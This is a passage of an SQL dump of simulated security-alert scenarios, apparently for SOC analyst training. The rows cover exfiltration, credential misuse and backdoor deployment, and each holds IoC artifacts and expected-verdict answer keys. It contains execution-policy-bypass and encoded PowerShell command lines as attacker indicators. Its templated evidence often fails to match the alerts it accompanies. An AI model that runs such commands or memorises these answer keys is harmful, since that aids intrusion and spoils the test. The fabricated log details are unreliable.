3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-28T13:45:27Z\\\",\\\"event_id\\\":\\\"9876543210\\\",\\\"action\\\":\\\"EXFILTRATION\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.42\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"file_exfiltrated\\\":\\\"encryption_keys_backup_20231028.tar.gz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"cloud_service_provider\\\":\\\"aws\\\",\\\"bucket_name\\\":\\\"sensitive-keys-backup\\\",\\\"user_agent\\\":\\\"python-requests/2.25.1\\\",\\\"status\\\":\\\"SUCCESS\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.574Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-28T13:45:27Z\\\",\\\"event_id\\\":\\\"9876543210\\\",\\\"action\\\":\\\"EXFILTRATION\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.42\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"file_exfiltrated\\\":\\\"encryption_keys_backup_20231028.tar.gz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"cloud_service_provider\\\":\\\"aws\\\",\\\"bucket_name\\\":\\\"sensitive-keys-backup\\\",\\\"user_agent\\\":\\\"python-requests/2.25.1\\\",\\\"status\\\":\\\"SUCCESS\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(897, 'Potential Threat to User Master Passwords Assessed', 'high', 'Threat intelligence reports', 'An advanced risk assessment was conducted following a breach, evaluating the potential exposure of user master passwords. Indicators of compromise (IoCs) include malicious IP addresses and suspect file hashes. Immediate action is required to mitigate any further risk and protect user data.', 'Risk Assessment', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:30:00Z\",\"event_type\":\"breach_assessment\",\"internal_ip\":\"10.0.1.45\",\"external_ip\":\"203.0.113.5\",\"user\":\"admin_user\",\"filename\":\"compromised_data_dump.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_ips\":[\"203.0.113.5\",\"198.51.100.10\"],\"compromised_users\":[\"admin_user\",\"user123\"],\"detected_malware\":[\"APT_Backdoor_v1\"],\"actions_taken\":[\"password_reset_initiated\",\"forensics_collection\"]}', '2026-01-15 00:59:56', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known command and control server IP\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known APT malware\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"compromised_data_dump.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File suspected to contain exfiltrated user data\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"Account seen in unusual login patterns\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.575Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:30:00Z\\\",\\\"event_type\\\":\\\"breach_assessment\\\",\\\"internal_ip\\\":\\\"10.0.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename\\\":\\\"compromised_data_dump.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_ips\\\":[\\\"203.0.113.5\\\",\\\"198.51.100.10\\\"],\\\"compromised_users\\\":[\\\"admin_user\\\",\\\"user123\\\"],\\\"detected_malware\\\":[\\\"APT_Backdoor_v1\\\"],\\\"actions_taken\\\":[\\\"password_reset_initiated\\\",\\\"forensics_collection\\\"]}\"},{\"timestamp\":\"2026-02-01T20:31:22.575Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:30:00Z\\\",\\\"event_type\\\":\\\"breach_assessment\\\",\\\"internal_ip\\\":\\\"10.0.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename\\\":\\\"compromised_data_dump.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_ips\\\":[\\\"203.0.113.5\\\",\\\"198.51.100.10\\\"],\\\"compromised_users\\\":[\\\"admin_user\\\",\\\"user123\\\"],\\\"detected_malware\\\":[\\\"APT_Backdoor_v1\\\"],\\\"actions_taken\\\":[\\\"password_reset_initiated\\\",\\\"forensics_collection\\\"]}\"},{\"timestamp\":\"2026-02-01T20:30:22.575Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:30:00Z\\\",\\\"event_type\\\":\\\"breach_assessment\\\",\\\"internal_ip\\\":\\\"10.0.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename\\\":\\\"compromised_data_dump.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_ips\\\":[\\\"203.0.113.5\\\",\\\"198.51.100.10\\\"],\\\"compromised_users\\\":[\\\"admin_user\\\",\\\"user123\\\"],\\\"detected_malware\\\":[\\\"APT_Backdoor_v1\\\"],\\\"actions_taken\\\":[\\\"password_reset_initiated\\\",\\\"forensics_collection\\\"]}\"},{\"timestamp\":\"2026-02-01T20:29:22.575Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:30:00Z\\\",\\\"event_type\\\":\\\"breach_assessment\\\",\\\"internal_ip\\\":\\\"10.0.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename\\\":\\\"compromised_data_dump.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_ips\\\":[\\\"203.0.113.5\\\",\\\"198.51.100.10\\\"],\\\"compromised_users\\\":[\\\"admin_user\\\",\\\"user123\\\"],\\\"detected_malware\\\":[\\\"APT_Backdoor_v1\\\"],\\\"actions_taken\\\":[\\\"password_reset_initiated\\\",\\\"forensics_collection\\\"]}\"},{\"timestamp\":\"2026-02-01T20:28:22.575Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:30:00Z\\\",\\\"event_type\\\":\\\"breach_assessment\\\",\\\"internal_ip\\\":\\\"10.0.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename\\\":\\\"compromised_data_dump.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_ips\\\":[\\\"203.0.113.5\\\",\\\"198.51.100.10\\\"],\\\"compromised_users\\\":[\\\"admin_user\\\",\\\"user123\\\"],\\\"detected_malware\\\":[\\\"APT_Backdoor_v1\\\"],\\\"actions_taken\\\":[\\\"password_reset_initiated\\\",\\\"forensics_collection\\\"]}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(898, 'Suspicious Login from Third-Party Contractor', 'high', 'SIEM logs', 'The attackers exploited compromised credentials from a third-party contractor to enter Okta\'s network, initiating the breach. The login was detected from an unusual IP address not previously associated with the contractor.', 'Initial Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"Login\",\"user\":\"jdoe_contractor\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.12\",\"event_description\":\"Successful login to Okta support system\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\",\"additional_info\":{\"login_method\":\"Password\",\"location\":\"Unusual - Not previously seen\"}}', '2026-01-15 00:59:58', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"jdoe_contractor\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Username associated with third-party contractor account\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external threat intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address previously associated with unauthorized access attempts\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.576Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"Login\\\",\\\"user\\\":\\\"jdoe_contractor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"event_description\\\":\\\"Successful login to Okta support system\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\\",\\\"additional_info\\\":{\\\"login_method\\\":\\\"Password\\\",\\\"location\\\":\\\"Unusual - Not previously seen\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:22.576Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"Login\\\",\\\"user\\\":\\\"jdoe_contractor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"event_description\\\":\\\"Successful login to Okta support system\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\\",\\\"additional_info\\\":{\\\"login_method\\\":\\\"Password\\\",\\\"location\\\":\\\"Unusual - Not previously seen\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:22.576Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"Login\\\",\\\"user\\\":\\\"jdoe_contractor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"event_description\\\":\\\"Successful login to Okta support system\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\\",\\\"additional_info\\\":{\\\"login_method\\\":\\\"Password\\\",\\\"location\\\":\\\"Unusual - Not previously seen\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:22.576Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"Login\\\",\\\"user\\\":\\\"jdoe_contractor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"event_description\\\":\\\"Successful login to Okta support system\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\\",\\\"additional_info\\\":{\\\"login_method\\\":\\\"Password\\\",\\\"location\\\":\\\"Unusual - Not previously seen\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:22.576Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"Login\\\",\\\"user\\\":\\\"jdoe_contractor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"event_description\\\":\\\"Successful login to Okta support system\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\\",\\\"additional_info\\\":{\\\"login_method\\\":\\\"Password\\\",\\\"location\\\":\\\"Unusual - Not previously seen\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(899, 'Execution of Unauthorized Scripts', 'high', 'Endpoint detection and response (EDR) tools', 'The Lapsus$ group executed unauthorized scripts on the compromised system, attempting to escalate privileges within the support system. This activity is consistent with their known tactics for gaining higher access.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T09:24:36Z\",\"event_id\":\"EDR-123456\",\"source_ip\":\"185.220.101.1\",\"destination_ip\":\"10.0.0.12\",\"username\":\"jdoe\",\"script_name\":\"escalate_priv.ps1\",\"script_hash\":\"f7d3d9a4c6e8b1ecf3a5d47a5e6f9b3c\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Temp\\\\escalate_priv.ps1\",\"target_system\":\"support-system.local\",\"severity\":\"High\"}', '2026-01-15 00:59:58', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.220.101.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised system\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Valid internal user account\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"escalate_priv.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Script used for privilege escalation\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"f7d3d9a4c6e8b1ecf3a5d47a5e6f9b3c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious script\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(900, 'Establishing Permanent Access - Backdoor Deployment', 'critical', 'Network traffic analysis', 'Anomalous network activity detected involving the deployment of backdoors within the compromised network environment. The attackers are setting up persistent access channels to maintain control over the network.', 'Persistence', 'T1059.001 - PowerShell', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:32:07Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"protocol\":\"TCP\",\"destination_port\":443,\"action\":\"Allowed\",\"file_hash\":\"f2a1e2d3c4b5a6f7d8e9c0b1a2d3e4f5\",\"username\":\"jdoe\",\"filename\":\"backdoor.exe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -EncodedCommand aGVsbG8gd29ybGQ=\"}', '2026-01-15 00:59:58', '2026-02-16 17:55:37', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal host involved in the incident.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f2a1e2d3c4b5a6f7d8e9c0b1a2d3e4f5\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used for persistent access.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Threat Report\",\"verdict\":\"malicious\",\"details\":\"File observed in other APT campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"HR Database\",\"verdict\":\"internal\",\"details\":\"Employee account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(901, 'Lateral Movement Across Okta\'s Systems', 'high', 'Network logs', 'The attackers successfully moved laterally across Okta\'s internal systems, targeting sensitive areas to maximize their data access. This step represents an expert-level operation in which the attacker used stolen credentials to access a critical database server.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:54Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.45\",\"src_user\":\"jdoe@okta.com\",\"dst_user\":\"admin@okta.com\",\"action\":\"SSH login\",\"result\":\"success\",\"hash_used\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"sensitive_data_access.sh\"}', '2026-01-15 00:59:58', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalAssetInventory\",\"verdict\":\"internal\",\"details\":\"Internal database server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe@okta.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"InternalUserDB\",\"verdict\":\"suspicious\",\"details\":\"Credentials possibly compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareHashRegistry\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used for data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(902, 'Exfiltration of Customer Data', 'critical', 'Data loss prevention (DLP) systems', 'Lapsus$ initiated data exfiltration, focusing on information from 366 customers, raising severe supply chain trust concerns.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T15:43:21Z\",\"event_id\":\"EXF12345\",\"source_ip\":\"192.168.45.23\",\"destination_ip\":\"185.199.108.153\",\"user\":\"jdoe\",\"file_name\":\"customer_data_backup.zip\",\"file_hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"action\":\"exfiltrate\",\"protocol\":\"HTTPS\",\"bytes_transferred\":52428800}', '2026-01-15 00:59:58', '2026-02-16 17:55:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.45.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in the exfiltration process.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"customer_data_backup.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"DLP System\",\"verdict\":\"suspicious\",\"details\":\"File name indicates potential data exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash matches known data exfiltration tools.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.581Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:43:21Z\\\",\\\"event_id\\\":\\\"EXF12345\\\",\\\"source_ip\\\":\\\"192.168.45.23\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"customer_data_backup.zip\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":52428800}\"},{\"timestamp\":\"2026-02-01T20:31:22.581Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:43:21Z\\\",\\\"event_id\\\":\\\"EXF12345\\\",\\\"source_ip\\\":\\\"192.168.45.23\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"customer_data_backup.zip\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":52428800}\"},{\"timestamp\":\"2026-02-01T20:30:22.581Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:43:21Z\\\",\\\"event_id\\\":\\\"EXF12345\\\",\\\"source_ip\\\":\\\"192.168.45.23\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"customer_data_backup.zip\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":52428800}\"},{\"timestamp\":\"2026-02-01T20:29:22.581Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:43:21Z\\\",\\\"event_id\\\":\\\"EXF12345\\\",\\\"source_ip\\\":\\\"192.168.45.23\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"customer_data_backup.zip\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":52428800}\"},{\"timestamp\":\"2026-02-01T20:28:22.581Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 